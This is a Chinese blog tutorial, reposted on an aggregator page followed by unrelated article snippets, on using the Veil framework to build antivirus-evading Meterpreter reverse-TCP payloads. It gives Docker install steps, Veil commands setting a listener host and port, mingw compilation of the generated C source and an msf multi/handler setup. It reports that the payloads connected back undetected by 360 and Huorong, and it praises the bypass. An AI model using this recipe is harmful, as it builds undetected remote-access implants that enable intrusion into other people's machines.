远控免杀5---Veil免杀

0x01 免杀能力一览表

在这里插入图片描述

  • 1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
  • 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
  • 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
  • 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

0x02 前言

Veil、Venom和Shellter是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。

Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件,还能利用Metasploit框架生成相兼容的Payload工具,从而逃避了常见防病毒产品的检测。

0x03 安装Veil

常规安装失败

veil地址:https://github.com/Veil-Framework/Veil

安装参考https://www.freebuf.com/sectool/89024.html

kali快速安装

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

在这里插入图片描述
看起来没什么问题,但后来在执行的时候各种出错,依赖包各种出问题,无论是快速安装还是常规手工安装都没能解决。网上也有很多人吐槽安装比较繁杂,出现各种状况,但也有的系统安全比较顺利。

后来,发现有人做好了veil的docker镜像,简单便捷,一键运行。

Docker安装

安装docker

apt-get install docker docker-compose

在这里插入图片描述
安装完成后启动:

service docker start

在kali里安装docker后,添加docker加速镜像地址vi /etc/docker/daemon.json


{"registry-mirrors": ["https://1nj0zren.mirror.aliyuncs.com","https://docker.mirrors.ustc.edu.cn","http://f1361db2.m.daocloud.io","https://registry.docker-cn.com"]
}

然后重启docker服务

systemctl daemon-reload
systemctl restart docker

拉取veil镜像

docker pull mattiasohlsson/veil

在这里插入图片描述
拉取成功后,执行

docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil

-v /tmp/veil-output:/var/lib/veil/output:Z是将宿主机的/tmp/veil-output目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用。
在这里插入图片描述
使用exit命令退出,使用下面命令查看container

docker ps -a

之后再进入镜像可以在启动镜像后使用下面命令:


docker start -ai a323f16bcf59 (替换成自己查的ID)

在这里插入图片描述
运行起来后,之后再进入镜像可以在启动镜像后使用下面命令

docker exec -it a323f16bcf59 (替换成自己查的ID) /bin/bash

执行veil命令可启动,版本为3.1.1。
在这里插入图片描述

0x04 veil使用

veil有两个免杀的工具,Evasion和Ordnance。
Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
我们一般选择Evasion:
在这里插入图片描述


Veil>: use 1                   #选择Evasion功能
Veil/Evasion>: list            #查看payload列表

使用list可以看到到41种stager
在这里插入图片描述
推荐使用以go和ruby语言encode的编码方式。像python这类的与用户有较高的交互就容易被查杀。

veil原理可以参考这篇文章:https://xz.aliyun.com/t/4191

1、使用veil直接生成exe

veil可以直接生成支持msf的payload,我们先试一下看看效果。
我们使用go语言生成msf的payload


Veil/Evasion>: use 16

在这里插入图片描述
设置好msf的监听主机和端口就可以,下图所示

set lhost 192.169.128.142
set lport 5555
generate

在这里插入图片描述
然后再设定好生成的payload的名称,我这里就用go_msf了
在这里插入图片描述
然后一堆编码编译之后,就生成payload了
在这里插入图片描述
因为之前已经做过映射,所以在宿主机的/tmp/veil-output/compiled/目录可直接看到生成的exe文件。
在msf中监听:

use multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 3334
msf5 exploit(multi/handler) > set lport 10.211.55.2
msf5 exploit(multi/handler) > exploit

在测试主机执行go_msf.exe,发现msf中可上线
在这里插入图片描述
而此时是正常打开360和火绒的
在这里插入图片描述
Veil真NB!
虽然查杀率还比较高,不过火绒和360都能静态+动态免杀。比较遗憾的是生成的exe文件比较大,go语言生成的exe大约2M,python生成的exe大约4M,ruby生成的exe大约700K,相比msf原生态的exe大打多了。

2、使用veil+mingw-w64

先用veil生成shellcode

use 7

在这里插入图片描述


[c/meterpreter/rev_tcp>>]: set lhost 192.168.142.134
[c/meterpreter/rev_tcp>>]: set lport 5555
[c/meterpreter/rev_tcp>>]: generate

在这里插入图片描述
输入生成文件名为c_msf
在这里插入图片描述
文件在/tmp/veil-output/source文件夹下
先生成一个可以被 msf 利用的 c_msf.c 然后用mingw-w64 来编译
mingw-w64的安装可参考https://zhuanlan.zhihu.com/p/76613134

gcc -o payload.exe c_msf.c -l ws2_32

运行生成的payload.exe文件,msf成功上线
在这里插入图片描述
全程开启360卫士和杀毒以及火绒,编译、运行、上线都没有问题。
在这里插入图片描述

0x05 小结

veil功能还是很强大的,生成的shellcode自身免杀能力就不错,而且支持多种语言的shellcode编译打包,和msf及cs可以无缝对接,值得人好好研究一下。三大老牌免杀工具不是浪得虚名的

0x06 参考整理

使用veil绕过杀软:https://blog.csdn.net/wyf12138/article/details/79825833

免杀后门之MSF&Veil-Evasion的完美结合http://www.secist.com/archives/1107.html

APT级的全面免杀:https://xz.aliyun.com/t/4191

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380286.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ADO.NET_09_Using 关键字

本文内容 演示 Using 关键字验证 Using 关键字演示 Using 关键字 string connStr "data sourceora11; uidscott; pwdtiger; unicodetrue"; string sqlStr "SELECT * FROM EMP"; using (OracleConnection conn new OracleConnection(connStr)) { conn.Op…

js isinteger_在JavaScript中使用示例使用Number isInteger()方法

js isinteger编号isInteger()方法 (Number isInteger() Method) isInteger() is a Number Method, it is used to check whether a given number is an integer or not. isInteger()是一个数字方法,用于检查给定数字是否为整数。 It returns true if given number …

最新:日文.NET Framework 3.5 与 VS 2008 beta 2 已经公布

半个月以前,微软发布了Beta2版本的.NET Framework 3.5 与 Visual Studio 2008,可以从这里下载.而本周,代表双字节字符区域的第一个日文版本Beta2已经发布,现在同样也可以提供下载,这意味着中文版将在不久后与我们见面(按照微软软件的惯例,除微软中国研究院自主推出的软件外,中文…

三角形描边css,[CSS] tips带有描边的小箭头

linear-gradient和border:Document.box {position: relative;padding: 10px; /* 重要 防止内容被覆盖 */text-align: center;border: 1px solid #f60;border-radius: 5px;}.box::after {content: ;position: absolute;left: 50%;display: table;width: 10px;height: 10px;margi…

sql语句中出现笛卡尔乘积

没有join条件导致笛卡尔乘积 学过线性代数的人都知道,笛卡尔乘积通俗的说,就是两个集合中的每一个成员,都与对方集合中的任意一个成员有关联。可以想象,在SQL查询中,如果对两张表join查询而没有join条件时,…

远控免杀专题6---Venom免杀

0x01 免杀能力一览表 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

人工智能 自然语言处理_自然语言处理(NLP)| 人工智能

人工智能 自然语言处理Natural Language Processing (NLP) is one of the most successful applications of Artificial Intelligence in the real world. The Natural Language Processing in the terms of AI means that the Artificial Agents are able to able to understa…

精挑细选

描述 小王是公司的仓库管理员,一天,他接到了这样一个任务:从仓库中找出一根钢管。这听起来不算什么,但是这根钢管的要求可真是让他犯难了,要求如下: 1、 这根钢管一定要是仓库中最长的; 2、 这根…

hoho,我要坚持写blog

争取一天一篇,提高技术. 转载于:https://www.cnblogs.com/lbq1221119/archive/2007/08/17/859183.html

查看ajax传来的数据,jQuery AJAX 方法 success()后台传来的4种数据

1.后台返回一个页面js代码/**(1)用$("#content-wrapper").html(data);显示页面*/$.ajax({async : false,cache : false,type : POST,url : area/prepareCreate,error : function() {alert(smx失败 );},success : function(data) {$("#content-wrapper").ht…

远控免杀专题7 ---shellter免杀

0x01 免杀能力一览表 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

Notepad++高亮AS文件

如果编写ActionScript,可以选择语言->Flash actionScript 但是软件似乎不能确定as文件使用的语言,需要修改软件配置 Notepad 有 ActionScript 的语法高亮功能, 但它似乎不能被程序探查到. 打开的每个 AS 文件, 都要自行套用语法高亮, 特别麻烦. 当你打…

python 示例_Python日历类| yeardayscalendar()方法与示例

python 示例Python Calendar.yeardayscalendar()方法 (Python Calendar.yeardayscalendar() Method) Calendar.yeardayscalendar() method is an inbuilt method of the Calendar class of calendar module in Python. It uses an instance of this class and returns the list…

获取两个数的最大值,判断是否相等;

package asdwwssq; import java.util.Scanner;//引入扫描仪Scanner,创建键盘录入对象; public class qweqwe { public static void main(String[] args) { Scanner anew Scanner(System.in);//将一个新扫描仪赋给a; System.out.println(“请输入第一…

ASP.NET 开发规范 第五章 命名

第五章 命名规范<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />5.1 命名概述名称应该说明“什么”而不是“如何”。通过避免使用公开基础实现&#xff08;它们会发生改变&#xff09;的名称&#xff0c;可以保留简化复杂…

ajax传值controller怎么写,ajax向 controller传值(示例代码)

第一种传值&#xff1a;controller中是几个单独的基本类型参数RequestMapping("update")ResponseBody//此注解不能省略 否则ajax无法接受返回值public Map update(Long num, Long id, BigDecimal amount){Map resultMap new HashMap();if(num null || id null || …

将文件拖到docker容器里,将docke 容器里文件拖到宿主里

docker将/root/shell目录下的putty.exe复制到容器内部&#xff1a; 查看容器ID&#xff1a; docker ps 复制&#xff1a; docker cp /root/shell/putty.exe 容器ID:/root docker将容器内部的/root/shell/payload.exe复制到宿主里&#xff1a; docker cp b8d6b6b6296d:/root…

css 控制溢出文本显示省略号效果

同时应用&#xff1a; text-overflow:ellipsis; white-space:nowrap; overflow:hidden; 实现了所想要得到的溢出文本显示省略号效果&#xff1a;转载于:https://www.cnblogs.com/wyblog/archive/2011/09/02/2163547.html

前序遍历m-ary树_在Ruby中使用ary [start,length]- object进行数组元素分配

前序遍历m-ary树In the last article, we have learnt how we can add an object as an element to the object of Array class and we did that with the help of Array_instance[index] operator? That was also one of the ways to assign elements to the Array instances…

方法之输出星型及其调用

package asdaaaa; import java.util.Scanner;//引用扫描仪Scanner&#xff0c;创建键盘录入对象&#xff1b; public class adasdasd { public static void main(String[] args) { Scanner anew Scanner(System.in); System.out.println(“请输入行数&#xff1a;”); in…